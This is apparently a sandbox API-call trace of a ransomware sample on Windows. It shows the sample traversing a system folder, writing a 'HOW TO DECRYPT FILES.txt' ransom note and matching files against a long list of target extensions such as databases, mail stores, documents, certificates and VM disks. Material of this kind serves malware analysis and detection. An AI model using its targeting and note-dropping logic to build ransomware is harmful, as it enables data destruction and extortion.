lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\", lpString2="87abc63a1a15ada439f7412b410c9be7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7" [0119.537] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.554] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.554] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.554] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.554] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.554] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d4490, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa86d4490, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa86d4490, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IO.Compression.FileSystem.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.554] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.554] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IO.Compression.FileSystem.ni.dll") returned -1 [0119.554] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IO.Compression.FileSystem.ni.dll") returned -1 [0119.554] lstrcmpiA (lpString1="", lpString2="System.IO.Compression.FileSystem.ni.dll") returned -1 [0119.554] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\*.*") returned="*.*" [0119.554] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\" [0119.554] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\") returned="" [0119.554] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\HOW TO DECRYPT FILES.txt" [0119.555] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\how to decrypt files.txt")) returned 0xffffffff [0119.555] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.io.cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.559] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.560] CloseHandle (hObject=0x90) returned 1 [0119.560] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\", lpString2="System.IO.Compression.FileSystem.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll" [0119.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.ems") returned 0 [0119.561] lstrlenA (lpString="*.ems") returned 5 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.db") returned 0 [0119.561] lstrlenA (lpString="*.db") returned 4 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.dbf") returned 0 [0119.561] lstrlenA (lpString="*.dbf") returned 5 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.myox") returned 0 [0119.561] lstrlenA (lpString="*.myox") returned 6 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.myo") returned 0 [0119.561] lstrlenA (lpString="*.myo") returned 5 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qbw") returned 0 [0119.561] lstrlenA (lpString="*.qbw") returned 5 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qbb") returned 0 [0119.561] lstrlenA (lpString="*.qbb") returned 5 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qbm") returned 0 [0119.561] lstrlenA (lpString="*.qbm") returned 5 [0119.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qbo") returned 0 [0119.561] lstrlenA (lpString="*.qbo") returned 5 [0119.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qbx") returned 0 [0119.562] lstrlenA (lpString="*.qbx") returned 5 [0119.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qba") returned 0 [0119.562] lstrlenA (lpString="*.qba") returned 5 [0119.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qby") returned 0 [0119.562] lstrlenA (lpString="*.qby") returned 5 [0119.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qbj") returned 0 [0119.562] lstrlenA (lpString="*.qbj") returned 5 [0119.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.ofx") returned 0 [0119.562] lstrlenA (lpString="*.ofx") returned 5 [0119.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.qif") returned 0 [0119.562] lstrlenA (lpString="*.qif") returned 5 [0119.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mye") returned 0 [0119.562] lstrlenA (lpString="*.mye") returned 5 [0119.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mbox") returned 0 [0119.563] lstrlenA (lpString="*.mbox") returned 6 [0119.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.eml") returned 0 [0119.563] lstrlenA (lpString="*.eml") returned 5 [0119.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.pst") returned 0 [0119.563] lstrlenA (lpString="*.pst") returned 5 [0119.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.ost") returned 0 [0119.563] lstrlenA (lpString="*.ost") returned 5 [0119.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.idx") returned 0 [0119.563] lstrlenA (lpString="*.idx") returned 5 [0119.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.dbx") returned 0 [0119.564] lstrlenA (lpString="*.dbx") returned 5 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.sql") returned 0 [0119.564] lstrlenA (lpString="*.sql") returned 5 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mdb") returned 0 [0119.564] lstrlenA (lpString="*.mdb") returned 5 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.fdb") returned 0 [0119.564] lstrlenA (lpString="*.fdb") returned 5 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.wab") returned 0 [0119.564] lstrlenA (lpString="*.wab") returned 5 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.dat") returned 0 [0119.564] lstrlenA (lpString="*.dat") returned 5 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.txt") returned 0 [0119.564] lstrlenA (lpString="*.txt") returned 5 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.jpeg") returned 0 [0119.564] lstrlenA (lpString="*.jpeg") returned 6 [0119.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.jpg") returned 0 [0119.564] lstrlenA (lpString="*.jpg") returned 5 [0119.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.png") returned 0 [0119.565] lstrlenA (lpString="*.png") returned 5 [0119.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.php") returned 0 [0119.565] lstrlenA (lpString="*.php") returned 5 [0119.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.cs") returned 0 [0119.566] lstrlenA (lpString="*.cs") returned 4 [0119.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.cpp") returned 0 [0119.566] lstrlenA (lpString="*.cpp") returned 5 [0119.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.rar") returned 0 [0119.566] lstrlenA (lpString="*.rar") returned 5 [0119.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.zip") returned 0 [0119.566] lstrlenA (lpString="*.zip") returned 5 [0119.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.html") returned 0 [0119.566] lstrlenA (lpString="*.html") returned 6 [0119.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.htm") returned 0 [0119.566] lstrlenA (lpString="*.htm") returned 5 [0119.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.xlsx") returned 0 [0119.566] lstrlenA (lpString="*.xlsx") returned 6 [0119.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.xls") returned 0 [0119.567] lstrlenA (lpString="*.xls") returned 5 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mp4") returned 0 [0119.567] lstrlenA (lpString="*.mp4") returned 5 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.ppt") returned 0 [0119.567] lstrlenA (lpString="*.ppt") returned 5 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.pptx") returned 0 [0119.567] lstrlenA (lpString="*.pptx") returned 6 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.doc") returned 0 [0119.567] lstrlenA (lpString="*.doc") returned 5 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.dot") returned 0 [0119.567] lstrlenA (lpString="*.dot") returned 5 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.docx") returned 0 [0119.567] lstrlenA (lpString="*.docx") returned 6 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.7z") returned 0 [0119.567] lstrlenA (lpString="*.7z") returned 4 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.tar") returned 0 [0119.567] lstrlenA (lpString="*.tar") returned 5 [0119.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.bz2") returned 0 [0119.567] lstrlenA (lpString="*.bz2") returned 5 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.gz") returned 0 [0119.568] lstrlenA (lpString="*.gz") returned 4 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mkv") returned 0 [0119.568] lstrlenA (lpString="*.mkv") returned 5 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.eml") returned 0 [0119.568] lstrlenA (lpString="*.eml") returned 5 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.msg") returned 0 [0119.568] lstrlenA (lpString="*.msg") returned 5 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.edb") returned 0 [0119.568] lstrlenA (lpString="*.edb") returned 5 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.accdb") returned 0 [0119.568] lstrlenA (lpString="*.accdb") returned 7 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.odb") returned 0 [0119.568] lstrlenA (lpString="*.odb") returned 5 [0119.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.java") returned 0 [0119.568] lstrlenA (lpString="*.java") returned 6 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.asm") returned 0 [0119.569] lstrlenA (lpString="*.asm") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.pfx") returned 0 [0119.569] lstrlenA (lpString="*.pfx") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.pem") returned 0 [0119.569] lstrlenA (lpString="*.pem") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.p12") returned 0 [0119.569] lstrlenA (lpString="*.p12") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.gpg") returned 0 [0119.569] lstrlenA (lpString="*.gpg") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.vsd") returned 0 [0119.569] lstrlenA (lpString="*.vsd") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.odg") returned 0 [0119.569] lstrlenA (lpString="*.odg") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.raw") returned 0 [0119.569] lstrlenA (lpString="*.raw") returned 5 [0119.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.nef") returned 0 [0119.570] lstrlenA (lpString="*.nef") returned 5 [0119.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.svg") returned 0 [0119.570] lstrlenA (lpString="*.svg") returned 5 [0119.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.psd") returned 0 [0119.570] lstrlenA (lpString="*.psd") returned 5 [0119.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.vmx") returned 0 [0119.570] lstrlenA (lpString="*.vmx") returned 5 [0119.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.vmdk") returned 0 [0119.570] lstrlenA (lpString="*.vmdk") returned 6 [0119.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.vdi") returned 0 [0119.570] lstrlenA (lpString="*.vdi") returned 5 [0119.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.lay6") returned 0 [0119.571] lstrlenA (lpString="*.lay6") returned 6 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.mpeg") returned 0 [0119.571] lstrlenA (lpString="*.mpeg") returned 6 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.djvu") returned 0 [0119.571] lstrlenA (lpString="*.djvu") returned 6 [0119.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IO.Cf61e09c5#\\87abc63a1a15ada439f7412b410c9be7\\System.IO.Compression.FileSystem.ni.dll", pszSpec="*.tiff") returned 0 [0119.571] 